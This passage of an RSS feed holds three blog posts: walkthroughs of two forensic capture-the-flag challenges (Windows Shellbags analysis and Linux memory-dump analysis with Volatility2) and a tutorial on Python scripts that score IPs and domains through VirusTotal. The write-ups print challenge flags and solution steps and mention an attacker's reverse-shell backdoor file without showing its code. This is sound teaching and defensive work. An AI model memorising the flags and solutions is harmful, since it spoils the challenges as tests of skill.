            <content:encoded><![CDATA[<h3>From Evidence to Answers: Navigating Forensic CTF Challenges with Skill — Part II</h3><p>Welcome to the Part II of <strong>From Evidence to Answers: Navigating Forensic CTF Challenges with Skill</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0s7wfX2KBKKPJy0Rc7xdw.jpeg" /><figcaption><a href="https://www.freepik.com/free-photo/marine-composition-with-fishing-net-mussels_2115056.htm#query=shellbags&amp;position=35&amp;from_view=search&amp;track=ais">https://www.freepik.com/free-photo/marine-composition-with-fishing-net-mussels_2115056.htm#query=shellbags&amp;position=35&amp;from_view=search&amp;track=ais</a></figcaption></figure><p>I recently discovered the amazing idea of “Shellbags” while reading Joakim Kävrestad’s book “<strong>Fundamentals of Digital Forensics</strong>” as part of my quest to learn more about digital forensics. The concept immediately piqued my interest, as Shellbags provide valuable insights into a user’s folder navigation and activity on a Windows system. Intrigued by the potential of this artifact, I was inspired to create a forensics CTF challenge that would put participants’ skills to the test. By leveraging the power of Shellbags, it aims to challenge participants to analyze and interpret these artifacts to uncover hidden clues and investigate the actions of a potential attacker.</p><h3>Shells in the Bag !</h3><p><em>Challenge Description: </em>In our software development world, a puzzling incident has occurred. One of our developers innocently downloaded project files from a well-known version control system, only to discover that their laptop was compromised soon after. We’ve examined the aftermath and found that the only clue left behind is something called “Shellbags.” Your mission is to explore the Shellbags artifact and follow the hidden traces left by the attacker.</p><p>Download Challenge File</p><p><a href="https://drive.google.com/file/d/1Daqgtr4olOkQW5inZxwrqz-V3sUxk7iU/view?usp=sharing">Evi1</a></p><h3>Explanation</h3><p>As we can see from the title “Shells”, the file given is certainly for shellbags artifact. Once we get to know how to analyze the given file, the challenge becomes very easy to crash.</p><p>After some Google Fu, we figured out that for exploring shellbags, there is a tool named “<strong>Shellbags Explorer”, </strong>developed by <em>Eric Zimmerman.</em></p><p>Download the tool from: <a href="https://ericzimmerman.github.io/#!index.md">https://ericzimmerman.github.io/#!index.md</a></p><h3>Solution</h3><p>Open ShellBags Explorer and Import file.</p><p>To load the file , follow these steps:</p><ol><li>Launch ShellBags Explorer.</li><li>Click on the &quot;File&quot; menu at the top left corner of the screen.</li><li>Select &quot;Load Offline Hive&quot; from the drop-down menu.</li><li>Browse to the location of the file and select it.</li><li>Click on the &quot;Open&quot; button to add the file.</li><li>Once the hive is loaded, you can begin analyzing its contents.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q5VtizvPvdrjkhnad-Ywkg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xVeDLn-yks0CAlWQc2hbOw.png" /><figcaption>Loaded Offline Hive</figcaption></figure><p>Let’s explore this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ORtEmmTafapOv8sbqtBJ4A.png" /></figure><p>Personal Folder has nothing of interest.</p><p>If we read the description again, it says the developer “downloaded” the code. So let’s explore the downloads folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BziF7SBECVDh9uIsuSr46g.png" /></figure><p>We found folders named as</p><ul><li>Source_code</li><li>DarkWand</li><li>SAP</li><li>Project</li><li>Backup.rar</li></ul><p>Explore them one by one</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dtLOAzarzR5k-O0EJp93bA.png" /></figure><p>Nothing useful in Project Folder.</p><p>Source_code and SAP are empty folders.</p><p>We are left with DarkWand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pWDEilFg8GNkh5XXW8VS6g.png" /></figure><p>We can see the file names. It includes files “git” and “replit.md”, which indicates the project is linked to these platforms. There is another file named as “Backdoor.py”.</p><p>Let’s search the project on GitHub, as we need to have “Replit account” to check out projects on platform, it is better to search GitHub first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GB1IKeFbrFVy8PMwb5LRXg.png" /><figcaption>A public Repository named as DarkWand</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*64wHQYz0tq7dewQapzgv4g.png" /></figure><p>The file Backdoor.py is simple python file to create remote connection (Reverse Shel). Nothing of interest found here.</p><p>Analyzing the repository, I found the commit which might be of our interest.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*YMp1dk2qBh1aYZXM4Vugyw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uEpbTPsfIq1T2VLTbqvQMg.png" /></figure><p>It is URL Encoded File.</p><p>We can decode it using <a href="https://www.urldecoder.org/">https://www.urldecoder.org/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*6Mh4Tuog4vGJsGWN39Tjtg.png" /></figure><p>On decoding, we can see that it is double URL Encoded.</p><p>Copy the contents and decode it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/855/1*HACXDJ6kPvg1dG1QbVFz3Q.png" /></figure><p>For better visibility, I copied the decoded content on VS Code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*x-yx-6Qfz3tKth0G41mvuA.png" /></figure><p>Upon reading the file, there is a print statement, which prints the flag :)</p><p>This challenge might be easy for intermediate and even beginners if they have good knowledge about the windows artifacts.</p><p>The core reason for developing this challenge to discover this artifact.</p><p>I hope you enjoyed the writeup and the challenge!</p><p>Read More about Shellbags at: <a href="https://medium.com/ce-digital-forensics/shellbag-analysis-18c9b2e87ac7">https://medium.com/ce-digital-forensics/shellbag-analysis-18c9b2e87ac7</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=44975cdb35d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Evidence to Answers: Navigating Forensic CTF Challenges with Skill — Part I]]></title>
            <link>https://hadiqak27.medium.com/from-evidence-to-answers-navigating-forensic-ctf-challenges-with-skill-part-i-2a96aef9c5e8?source=rss-b327932e200d------2</link>
            <guid isPermaLink="false">https://medium.com/p/2a96aef9c5e8</guid>
            <category><![CDATA[volatility]]></category>
            <category><![CDATA[linux-memory-dump]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[memory-forensics]]></category>
            <dc:creator><![CDATA[Hadiqa khan]]></dc:creator>
            <pubDate>Mon, 22 May 2023 19:38:42 GMT</pubDate>
            <atom:updated>2023-05-23T11:41:42.232Z</atom:updated>
            <content:encoded><![CDATA[<h3>From Evidence to Answers: Navigating Forensic CTF Challenges with Skill — Part I</h3><p>Let’s have a blast of some forensics challenges.</p><p>Recently, I developed challenges for forensics category. The core purpose for creating these challenges was to enlighten the participants with Windows Artifact and Linux Memory Dump Forensics.</p><p>This is the Part I, which will be containing Linux Memory Dump Forensics.</p><p>Part II, will be added soon ! !</p><h3>The Linux Profile!</h3><p><em>Challenge Description: </em>One of our Ubuntu servers are compromised. We were lucky enough to create memory dump out of it. Our forensics experts need your help to analyze this Linux memory dump and find out the message attacker (flag.txt) left on device.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uTXGTSSPJ0jq0p21hxFaoQ.jpeg" /><figcaption>© iStock.com / Serhii Opikanets</figcaption></figure><p>Download the Memory Dump</p><p><a href="https://drive.google.com/u/0/uc?id=1B4wiBhpYtqpzq7Jg6x8MH82NLw8y3kJP&amp;export=download">Google Drive - Virus scan warning</a></p><h3>Explanation</h3><p>As we can see from the title “Linux”, the memory dump is certainly for some Linux distro. But how to extract the message out of this Linux Mem Dump ? , No worries we can use Volatility2 a volatile framework used to extract digital artifacts from volatile memory. Once we get to know how to analyze the dump, the challenge becomes very easy to crash.</p><p>As we already know, we need volatility2 to analyze the Linux memory dump. But it is not easy as windows memory dump forensics. After some Google Fu, we figured out that for Linux Memory forensics, we need to setup a profile in volatility, just like there are profiles set in by default for windows.</p><p>Read More here at: <a href="https://kevintk1.medium.com/htb-business-ctf-2021-forensic-compromised-1aa265b843a6">https://kevintk1.medium.com/htb-business-ctf-2021-forensic-compromised-1aa265b843a6</a></p><p>But why do we need to do that ? , It is because the Linux has multiple distros and it is not possible to create profile by default for thousands of kernel version. Although, some profiles can be found here <a href="https://github.com/volatilityfoundation/profiles/tree/master/Linux/Ubuntu/x64">https://github.com/volatilityfoundation/profiles/tree/master/Linux/Ubuntu/x64</a></p><h3>Analyzing</h3><p>Let’s Begin !</p><p>To setup the Volatility, follow these steps:</p><ol><li>git clone &lt;https://github.com/volatilityfoundation/volatility.git&gt;</li><li>Download memory dump from above link</li><li>Find out the kernel version from the dump.</li><li>Browse to the Linux profile link above and download the respective profile.</li><li>Copy the profile inside volatility directory volatility/volatility/plugins/overlays/linux</li><li>Once the profile is copied to the above path, run volatility to verify the profile exists.</li></ol><p>As we know, the kernel is loaded from the <strong>boot sector, </strong>so we can grep the boot sector to find out kernel version.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TSrMIEkASmWN68P5eQV7LA.png" /><figcaption>Finding out the Kernel Version</figcaption></figure><p>The Kernel Version is <em>4.18.0–25.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mt8aaytrew9mf9_faDnjxg.png" /><figcaption>Download the Ubuntu Profile from GitHub</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*rSGHybDxmcI8R1Mks7wWeA.png" /><figcaption>The Needed Profile</figcaption></figure><p>Let’s Verify, the profile we just added.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yf6gYOMA4dYsvfW5-uzXVA.png" /></figure><p>Now, we have to explore available plugins in volatility2 for <strong>Linux. </strong>Give a read to volatility2 documentation, there are some important plugins such as linux_banner, linux_bash, linux_pslist and many through which we can analyze the dump.</p><p>Let’s start with linux banner to verify the profile matches with our memory dump kernel. Its easy to grep or read through file, so we will be appending the result to file linux_banner.txt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jQsZ9P-TysD1as77TnHYlw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*r1y0Pa52ZQ6-RcW3Ouch_g.png" /></figure><p>Verified from the above command.</p><p>Let’s read the description once again, it says we have to findout the message attacker left. One of the very good plugin can be <strong>linux_bash, </strong>through this we can check each command executed from the bash terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62oeebTbcPdMiuf1Avg6UA.png" /></figure><p>Let’s skim through the history</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*ckOREkEp0xnK1OiUfNMxWg.png" /></figure><p>Nothing much, it says random script, maybe rabbit hole. Let’s try decrypting <em>aHR0cHM6Ly9wYXN0ZWJpbi5jb20vZEZlTHJxcUw=</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spBsx-pLH6SlbgyBDF49gQ.png" /><figcaption>A Paste bin link</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uh3OWaXdX4sV7zcLcqEXBw.png" /><figcaption>Another decoded string</figcaption></figure><p>Decrypt again <em>SGVoZWhlaCBObyBGbGFnIEhlcmUgLSBSYWJiaXRob2xlIF5fXg==</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y0aMc8BzDzB7MDaSqOm0Qg.png" /><figcaption>RickRoll</figcaption></figure><p>On skimming history further, I found the echo command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8ksyOJF1O0e4mtZYLWJa9A.png" /><figcaption>YAY! FLAG FOUND</figcaption></figure><p>Finally, we got the flag <em>DevFlag{LinUx_M3M_F0r3nsics}.</em></p><p>One effective way is to grep the file name from the bash history , as it is mentioned in the description.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*BTpBoACUXVTQq3Og7awe0A.png" /></figure><h3>Takeaways</h3><p>Learnt about grepping the information,</p><p>Learnt about Linux Profiles used in Volatility2,</p><p>Learnt about how to analyze Linux Memory Dump.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a96aef9c5e8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automating SOC Workflow with Python & VirusTotal]]></title>
            <link>https://towardsdev.com/automating-soc-workflow-with-python-virustotal-3d9e7f6c422e?source=rss-b327932e200d------2</link>
            <guid isPermaLink="false">https://medium.com/p/3d9e7f6c422e</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[security-operation-center]]></category>
            <dc:creator><![CDATA[Hadiqa khan]]></dc:creator>
            <pubDate>Thu, 13 Apr 2023 18:14:07 GMT</pubDate>
            <atom:updated>2023-04-14T19:34:33.570Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TVvpgBadsenMd5SuR8Wn-Q.jpeg" /></figure><figure><img alt="VirusTotal API" src="https://cdn-images-1.medium.com/max/265/1*ygbn_ayjDXZKLBWFepPdmw.png" /></figure><p>As a <strong>SOC Analyst</strong>, I spend most of my day investigating potential security threats and analyzing data from various sources. But little did I know, I would soon find myself using my programming skills to make my job easier and more efficient. Yes, you heard it right, I am not just a SOC Analyst, I am a programmer too (or at least I pretend to be).In this blog post, I will walk you through how I developed Python scripts that automate lookup and pace in SOC working, making the task of investigating suspicious domains and IP addresses faster and more efficient.</p><p><em>Please note that the code presented in this blog post is intended for demonstration purposes only and may not necessarily follow best practices in terms of coding style or performance optimization. However, the scripts presented here can provide valuable insights and a quick overview of malicious scores for domains and IP addresses, which can be highly efficient depending on your use case.</em></p><p>Before we start, you will need to have an <strong>API key</strong> from VirusTotal to use these scripts. You can obtain an API key by signing up for a free account on their website. Once you have your API key, you will need to replace the placeholder value “<strong>YOUR_API_KEY</strong>” in the script with your actual API key.</p><p>It’s worth noting that VirusTotal’s free API has some limitations. For example, you can only make 4 requests per minute and 500 requests per day. If you exceed these limits, your requests may be blocked for a certain amount of time. So, it’s important to use the API judiciously and plan accordingly.</p><p>Let’s get started with the code!</p><p>The following script will lookup for one or list of IP Addresses and return its corresponding malicious score.</p><p>I have used python package “request” to hit API Endpoint (ip_addresses) and “json” to parse the malicious score.</p><pre>import requests<br>import json<br><br>API_KEY= &quot;YOUR_API_KEY&quot;<br><br>IP_ADDR = [&quot;147.78.47.250&quot;,<br>           &quot;94.102.61.28&quot;,                               <br>            &quot;94.102.61.6&quot;,<br>            &quot;8.8.8.8&quot;]<br><br>for x in IP_ADDR:<br><br>    res = f&quot;https://www.virustotal.com/api/v3/ip_addresses/{x}&quot;<br>    headers = {&quot;accept&quot;: &quot;application/json&quot;,<br>               &quot;x-apikey&quot;:API_KEY}<br><br>    response = requests.get(res, headers=headers)<br>    response_data = json.loads(response.text)<br><br>    # Check if the IP address is malicious<br>    if &quot;data&quot; in response_data and &quot;attributes&quot; in response_data[&quot;data&quot;] and &quot;last_analysis_stats&quot; in response_data[&quot;data&quot;][&quot;attributes&quot;] and response_data[&quot;data&quot;][&quot;attributes&quot;][&quot;last_analysis_stats&quot;][&quot;malicious&quot;] &gt; 0:<br>        print(f&quot;The IP address {x} is malicious with a score of {response_data[&#39;data&#39;][&#39;attributes&#39;][&#39;last_analysis_stats&#39;][&#39;malicious&#39;]}&quot;)<br>    else:<br>        print(f&quot;The IP address {x} is not malicious&quot;)</pre><pre>#Output<br>The IP address 147.78.47.250 is malicious with a score of 11<br>The IP address 94.102.61.28 is malicious with a score of 8<br>The IP address 94.102.61.6 is malicious with a score of 4<br>The IP address 8.8.8.8 is malicious with a score of 2</pre><p>The following script will lookup for one or list of Domains available on VT and return its corresponding malicious score.</p><p>I have used python package “request” to hit API Endpoint (domains) and “json” to parse the malicious score.</p><pre>import requests<br>import json<br><br># Replace YOUR_API_KEY with your actual API key<br>API_KEY = &quot;YOUR_API_KEY&quot;<br><br># Domains to look up<br>domains = [<br>&quot;zn.squeamarundo.com&quot;,<br>&quot;fr.talerselrage.com&quot;,<br>&quot;gw.dummiedkhodja.com&quot;,<br>&quot;cpanel.genixcares.com&quot;,<br>&quot;as.mailsyntec.com&quot;,<br>&quot;replacestuntissue.com&quot;,<br>&quot;7B85A160-A4D9-43BD-8B32-295B3F23E62E.server-77.beshopbooks.com,&quot;<br>&quot;tl.corkeextatic.com&quot;,<br>&quot;so.ohoycaline.com&quot;,<br>&quot;erdeallyighab.com&quot;,<br>&quot;ih.ijorecepous.com&quot;,<br>&quot;trendvidaa.com&quot;,<br>&quot;version.ffmax.purplevioleto.com&quot;,<br>&quot;rg.trotletekphore.com&quot;,<br>&quot;server13.mydomelem.com&quot;,<br>&quot;oxodigital.tv&quot;,<br>&quot;serhatyolacan.com&quot;,<br>&quot;dc.forkedtrizoic.com&quot;,<br>&quot;gf.tummingfass.com&quot;,<br>&quot;jz.dunnedemicant.com&quot;,<br>&quot;topservicepool.com&quot;]<br><br>for x in domains:<br>    url = &quot;https://www.virustotal.com/api/v3/domains/{}&quot;.format(x)<br><br>    headers = {<br>        &quot;x-apikey&quot;: API_KEY,<br>        &quot;Accept&quot;: &quot;application/json&quot;<br>    }<br><br>    params = {<br>        &quot;include&quot;: &quot;last_analysis_stats&quot;<br>    }<br>    response = requests.get(url, headers=headers, params=params)<br>    response_data = json.loads(response.text)<br>    try:<br>        if &quot;last_analysis_stats&quot; in response_data[&quot;data&quot;][&quot;attributes&quot;] and response_data[&quot;data&quot;][&quot;attributes&quot;][&quot;last_analysis_stats&quot;][&quot;malicious&quot;] &gt; 0:<br>            malicious_score = response_data[&quot;data&quot;][&quot;attributes&quot;][&quot;last_analysis_stats&quot;][&quot;malicious&quot;]<br>            print(f&quot;The domain {x} has a malicious score of {malicious_score}.&quot;)<br>        else:<br>            print(f&quot;The domain {x} is not detected as malicious by VirusTotal.&quot;)    <br>    except KeyError:<br>        print(&quot;The domain {} not found by VirusTotal.&quot;.format(x))</pre><pre>#Output<br><br>The domain zn.squeamarundo.com is not detected as malicious by VirusTotal.<br>The domain fr.talerselrage.com is not detected as malicious by VirusTotal.<br>The domain gw.dummiedkhodja.com is not detected as malicious by VirusTotal.<br>The domain cpanel.genixcares.com is not detected as malicious by VirusTotal.<br>The domain as.mailsyntec.com is not detected as malicious by VirusTotal.<br>The domain replacestuntissue.com has a malicious score of 6.<br>The domain 7B85A160-A4D9-43BD-8B32-295B3F23E62E.server-77.beshopbooks.com,tl.corkeextatic.com not found by VirusTotal.<br>The domain so.ohoycaline.com is not detected as malicious by VirusTotal.<br>The domain erdeallyighab.com is not detected as malicious by VirusTotal.<br>The domain ih.ijorecepous.com is not detected as malicious by VirusTotal</pre><p>Exploring an API can be an exciting journey as it provides access to vast amounts of data and functionality. When working with an API, it’s essential to understand the endpoints available, the data structure returned, and any limitations or restrictions imposed by the API provider. In this blog, we explored the VirusTotal API, which provides a wealth of information on domains and IP addresses. We learned how to authenticate our requests with an API key and how to query the API using Python requests library. By understanding how to work with APIs, we can unlock powerful capabilities and automate tedious manual processes in our SOC workflow.</p><p>Thank you for reading this blog and exploring these scripts with me. I hope you found it useful and informative. If you have any feedback or suggestions, please feel free to reach out.</p><p>As always, stay curious and keep learning!</p><h4><em>Resources</em></h4><p><a href="https://developers.virustotal.com/">https://developers.virustotal.com/</a></p><p><a href="https://www.freepik.com/free-vector/data-center-room-with-server-racks-computer-monitors-desk-chair_9396106.htm#page=2&amp;query=security%20operations%20centre&amp;position=0&amp;from_view=search&amp;track=ais">Free Vector | Data center room with server racks, computer monitors on desk and chair.</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3d9e7f6c422e" width="1" height="1" alt=""><hr><p><a href="https://towardsdev.com/automating-soc-workflow-with-python-virustotal-3d9e7f6c422e">Automating SOC Workflow with Python &amp; VirusTotal</a> was originally published in <a href="https://towardsdev.com/">Towards Dev</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>